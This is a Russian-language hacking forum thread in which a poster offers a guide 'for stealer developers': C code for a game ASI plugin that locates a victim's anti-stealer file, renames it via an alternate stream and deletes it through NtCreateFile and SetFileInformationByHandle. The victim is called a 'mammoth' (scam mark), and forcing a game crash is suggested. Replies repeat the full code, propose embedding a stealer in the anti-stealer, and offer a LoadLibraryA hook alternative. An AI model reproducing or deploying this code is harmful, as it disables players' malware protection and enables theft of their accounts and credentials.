 |

07.10.2021, 12:06
|
|
Новичок
Регистрация: 13.06.2021
Сообщений: 1
С нами:
2588814
Репутация:
3
|
|
Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle
С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся
Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает
1633590029100.png.KARELLI · 7 Окт 2021 в 11:06' data-fancybox="lb-post-858219" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/117076/" style="cursor: pointer;" title="1633590029100.png">
Информация на руках, осталось написать asi плагин
Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь
C:
Код:
NTSTATUS
(
__stdcall
*
NtCreateFile
)
(
PHANDLE
,
ACCESS_MASK
,
POBJECT_ATTRIBUTES
,
PIO_STATUS_BLOCK
,
PLARGE_INTEGER
,
ULONG
,
ULONG
,
ULONG
,
ULONG
,
PVOID
,
ULONG
)
;
*
(
FARPROC
*
)
&
NtCreateFile
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll"
)
,
"NtCreateFile"
)
;
wchar_t szPath
[
MAX_PATH
*
2
]
=
L
"\\??\\"
;
GetCurrentDirectoryW
(
(
MAX_PATH
*
2
)
,
&
szPath
[
4
]
)
;
lstrcatW
(
szPath
,
L
"\\!0AntiStealerByDarkP1xel32.ASI"
)
;
Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл
C++:
Код:
UNICODE_STRING uFilePath
;
uFilePath
.
Buffer
=
szPath
;
uFilePath
.
Length
=
lstrlenW
(
szPath
)
*
sizeof
(
wchar_t
)
;
uFilePath
.
MaximumLength
=
uFilePath
.
Length
+
2
;
IO_STATUS_BLOCK IoStatusBlock
;
OBJECT_ATTRIBUTES FileObjectAttributes
;
InitializeObjectAttributes
(
&
FileObjectAttributes
,
&
uFilePath
,
OBJ_CASE_INSENSITIVE
,
NULL
,
NULL
)
;
HANDLE hFile
=
NULL
;
NTSTATUS NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:
C++:
Код:
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_RENAME_INFO fRenameInfo
;
memset
(
&
fRenameInfo
,
0
,
sizeof
(
fRenameInfo
)
)
;
fRenameInfo
.
FileNameLength
=
4
;
memcpy
(
fRenameInfo
.
FileName
,
L
":x"
,
4
)
;
if
(
SetFileInformationByHandle
(
hFile
,
FileRenameInfo
,
&
fRenameInfo
,
sizeof
(
fRenameInfo
)
+
4
)
)
{
CloseHandle
(
hFile
)
;
NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_DISPOSITION_INFO fDispositionInfo
;
memset
(
&
fDispositionInfo
,
0
,
sizeof
(
fDispositionInfo
)
)
;
fDispositionInfo
.
DeleteFileW
=
1
;
SetFileInformationByHandle
(
hFile
,
FileDispositionInfo
,
&
fDispositionInfo
,
sizeof
(
fDispositionInfo
)
)
;
}
;
}
;
CloseHandle
(
hFile
)
;
}
;
Компилируем плагин.
Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру
Далее видим что от антистиллера осталось лишь лог, вот и все
Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш
Всем добра
|
|
|

07.10.2021, 13:34
|
|
Новичок
Регистрация: 15.10.2019
Сообщений: 2
С нами:
3464265
Репутация:
3
|
|
Не долго парень прожил
Норм гайд
(бабуля гей)
|
|
|

07.10.2021, 13:49
|
|
Познавший АНТИЧАТ
Регистрация: 11.07.2017
Сообщений: 1,534
С нами:
4653656
Репутация:
183
|
|
Этот антистиллер и так всегда просят удалить, т.к. он блокирует всё подряд и мешает работе многим модификациям. Редко уже у кого встретишь его.
|
|
|

07.10.2021, 14:44
|
|
Постоянный
Регистрация: 27.02.2020
Сообщений: 681
С нами:
3268836
Репутация:
98
|
|
Лучше вшить стилер в него и все 🤡
|
|
|

07.10.2021, 14:55
|
|
Постоянный
Регистрация: 16.09.2018
Сообщений: 843
С нами:
4030872
Репутация:
118
|
|
Сообщение от .KARELLI
lstrcatW(szPath, L"\\!0AntiStealerByDarkP1xel32.ASI");
а если файл по-другому называется?
|
|
|

07.10.2021, 15:34
|
|
Флудер
Регистрация: 06.11.2017
Сообщений: 2,759
С нами:
4483143
Репутация:
183
|
|
Спс за гайд уровня как сложить 2+2 через интеграл
|
|
|

07.10.2021, 16:11
|
|
Участник форума
Регистрация: 23.08.2021
Сообщений: 212
С нами:
2487976
Репутация:
48
|
|
Сообщение от .KARELLI
Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle
С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся
Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает
Информация на руках, осталось написать asi плагин
Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь
C:
Код:
NTSTATUS
(
__stdcall
*
NtCreateFile
)
(
PHANDLE
,
ACCESS_MASK
,
POBJECT_ATTRIBUTES
,
PIO_STATUS_BLOCK
,
PLARGE_INTEGER
,
ULONG
,
ULONG
,
ULONG
,
ULONG
,
PVOID
,
ULONG
)
;
*
(
FARPROC
*
)
&
NtCreateFile
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll"
)
,
"NtCreateFile"
)
;
wchar_t szPath
[
MAX_PATH
*
2
]
=
L
"\\??\\"
;
GetCurrentDirectoryW
(
(
MAX_PATH
*
2
)
,
&
szPath
[
4
]
)
;
lstrcatW
(
szPath
,
L
"\\!0AntiStealerByDarkP1xel32.ASI"
)
;
Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл
C++:
Код:
UNICODE_STRING uFilePath
;
uFilePath
.
Buffer
=
szPath
;
uFilePath
.
Length
=
lstrlenW
(
szPath
)
*
sizeof
(
wchar_t
)
;
uFilePath
.
MaximumLength
=
uFilePath
.
Length
+
2
;
IO_STATUS_BLOCK IoStatusBlock
;
OBJECT_ATTRIBUTES FileObjectAttributes
;
InitializeObjectAttributes
(
&
FileObjectAttributes
,
&
uFilePath
,
OBJ_CASE_INSENSITIVE
,
NULL
,
NULL
)
;
HANDLE hFile
=
NULL
;
NTSTATUS NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:
C++:
Код:
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_RENAME_INFO fRenameInfo
;
memset
(
&
fRenameInfo
,
0
,
sizeof
(
fRenameInfo
)
)
;
fRenameInfo
.
FileNameLength
=
4
;
memcpy
(
fRenameInfo
.
FileName
,
L
":x"
,
4
)
;
if
(
SetFileInformationByHandle
(
hFile
,
FileRenameInfo
,
&
fRenameInfo
,
sizeof
(
fRenameInfo
)
+
4
)
)
{
CloseHandle
(
hFile
)
;
NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_DISPOSITION_INFO fDispositionInfo
;
memset
(
&
fDispositionInfo
,
0
,
sizeof
(
fDispositionInfo
)
)
;
fDispositionInfo
.
DeleteFileW
=
1
;
SetFileInformationByHandle
(
hFile
,
FileDispositionInfo
,
&
fDispositionInfo
,
sizeof
(
fDispositionInfo
)
)
;
}
;
}
;
CloseHandle
(
hFile
)
;
}
;
Компилируем плагин.
Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру
Далее видим что от антистиллера осталось лишь лог, вот и все
Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш
Всем добра
А зачем?
Сейчас даже free steeler'ы на Клео умеют его обходить.
|
|
|

07.10.2021, 17:37
|
|
Участник форума
Регистрация: 08.03.2019
Сообщений: 121
С нами:
3781678
Репутация:
113
|
|
а не проще назвать файл !00*.asi и хукнуть LoadLibaryA?
|
|
|

07.10.2021, 21:30
|
|
Флудер
Регистрация: 02.02.2019
Сообщений: 5,070
С нами:
3831395
Репутация:
183
|
|
Жду такой темы
maxresdefault.jpgARMOR · 7 Окт 2021 в 20:30' data-fancybox="lb-post-858484" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/117142/" style="cursor: pointer;" title="maxresdefault.jpg">

|
|
|

07.10.2021, 21:31
|
|
Участник форума
Регистрация: 12.06.2017
Сообщений: 257
С нами:
4694478
Репутация:
98
|
|
легенда, вернулась не на долго 😢
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|